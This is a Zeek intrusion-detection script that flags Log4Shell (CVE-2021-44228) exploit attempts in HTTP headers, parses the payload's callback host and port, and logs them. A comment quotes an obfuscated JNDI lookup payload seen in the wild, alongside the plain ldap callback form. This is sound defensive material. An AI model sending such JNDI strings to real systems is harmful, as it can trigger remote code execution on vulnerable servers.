128 lines
5.2 KiB
Plaintext
128 lines
5.2 KiB
Plaintext
module CVE_2021_44228;
|
|
|
|
redef enum Notice::Type += {
|
|
LOG4J_ATTEMPT_HEADER,
|
|
LOG4J_SUCCESS
|
|
};
|
|
|
|
redef enum HTTP::Tags += {
|
|
LOG4J_RCE
|
|
};
|
|
|
|
redef enum Log::ID += { LOG };
|
|
|
|
type Info: record {
|
|
ts: time &log;
|
|
uid: string &log;
|
|
http_uri: string &log;
|
|
uri: string &log;
|
|
stem: string &log;
|
|
target_host: string &log;
|
|
target_port: string &log;
|
|
method: string &log;
|
|
is_orig: bool &log;
|
|
name: string &log;
|
|
value: string &log;
|
|
matched_name: bool &log;
|
|
matched_value: bool &log;
|
|
};
|
|
|
|
type PayloadParts: record {
|
|
uri: string;
|
|
stem: string;
|
|
host: string;
|
|
port_: string;
|
|
};
|
|
|
|
# Very general, FPs expected but we're casting a wide net intentionally.
|
|
global exploit_pattern: pattern = /\$\{/;
|
|
export {
|
|
option log = T;
|
|
}
|
|
|
|
# If split doesn't return the expected number of indices, return the default "-"
|
|
function safe_split1_w_default(s: string, p: pattern, idx: count, missing: string &default="-"): string
|
|
{
|
|
local tmp = split_string1(s, p);
|
|
if ( |tmp| > idx )
|
|
return tmp[idx];
|
|
else
|
|
return missing;
|
|
}
|
|
|
|
# Assumes `name` or `value` string passed as `s` has the structure:
|
|
# ${jdni:ldap://payload_host:payload_port/path} for the payload. Many examples
|
|
# of more complicated obfuscation exist. If the structure is different, fill
|
|
# missing fields with "-" so other structures in the wild can be explored in the
|
|
# logs. For example, Binary Edge are using the following type of obfuscation:
|
|
# ...value='${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}'
|
|
function parse_payload(s: string): PayloadParts
|
|
{
|
|
local tmp = split_string(s, /\/\//);
|
|
local last: string = "-";
|
|
if ( |tmp| > 0 )
|
|
last = tmp[(|tmp| - 1)];
|
|
local payload_uri = safe_split1_w_default(last, /\}/, 0);
|
|
local payload_stem = safe_split1_w_default(payload_uri, /\//, 0);
|
|
local payload_host = safe_split1_w_default(payload_stem, /\:/, 0);
|
|
local payload_port = safe_split1_w_default(payload_stem, /\:/, 1);
|
|
|
|
return PayloadParts($uri=payload_uri, $stem=payload_stem, $host=payload_host, $port_=payload_port);
|
|
}
|
|
|
|
event http_header(c: connection, is_orig: bool, name: string, value: string)
|
|
{
|
|
# Focus is mainly on client headers, but not filtering right now to explore interesting cases in the wild
|
|
# if (!is_orig)
|
|
# return;
|
|
# Focus is mainly on value of header, but adding 'name' to explore what is being used in the wild
|
|
local matched_name = exploit_pattern in name;
|
|
local matched_value = exploit_pattern in value;
|
|
|
|
# Ignore matches that contain binary goop. This was a large contributor to
|
|
# false positives.
|
|
if ( matched_name && !is_ascii(name) )
|
|
return;
|
|
if ( matched_value && !is_ascii(value) )
|
|
return;
|
|
|
|
add c$http$tags[LOG4J_RCE];
|
|
|
|
local payload: PayloadParts;
|
|
local info: Info;
|
|
|
|
# TODO: add to a clusterized set for watching of subsequent traffic (LOG4J_SUCCESS notice).
|
|
if ( matched_name )
|
|
{
|
|
payload = parse_payload(name);
|
|
info = Info($ts=network_time(), $uid=c$uid, $http_uri=c$http$uri, $uri=payload$uri, $stem=payload$stem, $target_host=payload$host, $target_port=payload$port_, $method=c$http$method, $is_orig=is_orig, $name=name, $value=value, $matched_name=matched_name, $matched_value=matched_value);
|
|
NOTICE([$note=LOG4J_ATTEMPT_HEADER,
|
|
$conn=c,
|
|
$identifier=cat(c$id$orig_h,c$id$resp_h,c$id$resp_p,cat(name,value)),
|
|
# $suppress_for=3600sec,
|
|
$msg=fmt("Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers"),
|
|
$sub=fmt("uri='%s', payload_uri=%s, payload_stem=%s, payload_host=%s, payload_port=%s, method=%s, is_orig=%s, header name='%s', header value='%s' ", c$http$uri, payload$uri, payload$stem, payload$host, payload$port_, c$http$method, is_orig, name, value)]);
|
|
if ( log )
|
|
Log::write(LOG, info);
|
|
}
|
|
if ( matched_value )
|
|
{
|
|
payload = parse_payload(value);
|
|
info = Info($ts=network_time(), $uid=c$uid, $http_uri=c$http$uri, $uri=payload$uri, $stem=payload$stem, $target_host=payload$host, $target_port=payload$port_, $method=c$http$method, $is_orig=is_orig, $name=name, $value=value, $matched_name=matched_name, $matched_value=matched_value);
|
|
NOTICE([$note=LOG4J_ATTEMPT_HEADER,
|
|
$conn=c,
|
|
$identifier=cat(c$id$orig_h,c$id$resp_h,c$id$resp_p,cat(name,value)),
|
|
# $suppress_for=3600sec,
|
|
$msg=fmt("Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers"),
|
|
$sub=fmt("uri='%s', payload_uri=%s, payload_stem=%s, payload_host=%s, payload_port=%s, method=%s, is_orig=%s, header name='%s', header value='%s' ", c$http$uri, payload$uri, payload$stem, payload$host, payload$port_, c$http$method, is_orig, name, value)]);
|
|
if ( log )
|
|
Log::write(LOG, info);
|
|
}
|
|
}
|
|
|
|
event zeek_init() &priority=5
|
|
{
|
|
if ( log )
|
|
Log::create_stream(CVE_2021_44228::LOG, [$columns=Info, $path="log4j"]);
|
|
}
|